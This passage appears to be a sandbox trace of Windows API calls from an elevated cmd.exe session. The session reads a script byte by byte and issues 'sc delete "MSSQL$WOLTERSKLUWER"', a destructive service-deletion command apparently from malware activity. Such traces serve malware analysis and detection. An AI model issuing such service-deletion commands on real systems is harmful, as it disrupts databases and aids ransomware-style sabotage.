lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.238] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.239] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.239] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.239] GetFileType (hFile=0x120) returned 0x3 [0066.239] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.239] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.239] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.239] GetFileType (hFile=0xb8) returned 0x3 [0066.239] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.239] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.239] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.239] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.239] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.239] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.240] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.240] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.240] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.240] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.241] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.241] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.241] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.241] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.241] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.242] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.242] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.242] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="SQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.242] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="QL$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.242] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="L$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.243] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.243] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.243] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.243] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="$PROGID\"\nL\"\nvice\n\n") returned 1 [0066.243] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.243] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.243] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.243] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="WROGID\"\nL\"\nvice\n\n") returned 1 [0066.243] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.243] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.243] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.243] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="OOGID\"\nL\"\nvice\n\n") returned 1 [0066.243] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.243] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.243] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.243] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="LGID\"\nL\"\nvice\n\n") returned 1 [0066.243] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.243] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.244] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.244] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="TID\"\nL\"\nvice\n\n") returned 1 [0066.244] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.244] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.244] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.244] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="ED\"\nL\"\nvice\n\n") returned 1 [0066.244] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.244] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.244] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.244] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="R\"\nL\"\nvice\n\n") returned 1 [0066.244] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.244] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.244] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.244] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="S\nL\"\nvice\n\n") returned 1 [0066.244] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.244] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.244] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.244] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="KL\"\nvice\n\n") returned 1 [0066.244] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.244] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.245] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.245] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="L\"\nvice\n\n") returned 1 [0066.245] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.245] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.245] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.245] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="U\nvice\n\n") returned 1 [0066.245] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.245] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.245] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.245] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="Wvice\n\n") returned 1 [0066.245] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.245] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.245] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.245] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="Eice\n\n") returned 1 [0066.245] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.245] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.245] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.245] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="Rce\n\n") returned 1 [0066.245] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.246] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.246] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.246] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="\"e\n\n") returned 1 [0066.246] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.246] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.246] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.246] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="\n\n\n") returned 1 [0066.246] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.246] GetFileType (hFile=0xb8) returned 0x3 [0066.246] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.246] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.247] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.247] GetFileType (hFile=0x120) returned 0x3 [0066.247] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n", lpUsedDefaultChar=0x0) returned 33 [0066.247] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x20, lpOverlapped=0x0) returned 1 [0066.247] GetProcessHeap () returned 0x1b0000 [0066.247] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.247] GetProcessHeap () returned 0x1b0000 [0066.247] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.247] GetProcessHeap () returned 0x1b0000 [0066.247] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.247] GetProcessHeap () returned 0x1b0000 [0066.247] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.247] GetProcessHeap () returned 0x1b0000 [0066.247] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4c) returned 0x1c97e0 [0066.247] GetConsoleOutputCP () returned 0x1b5 [0066.248] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.248] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.248] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: 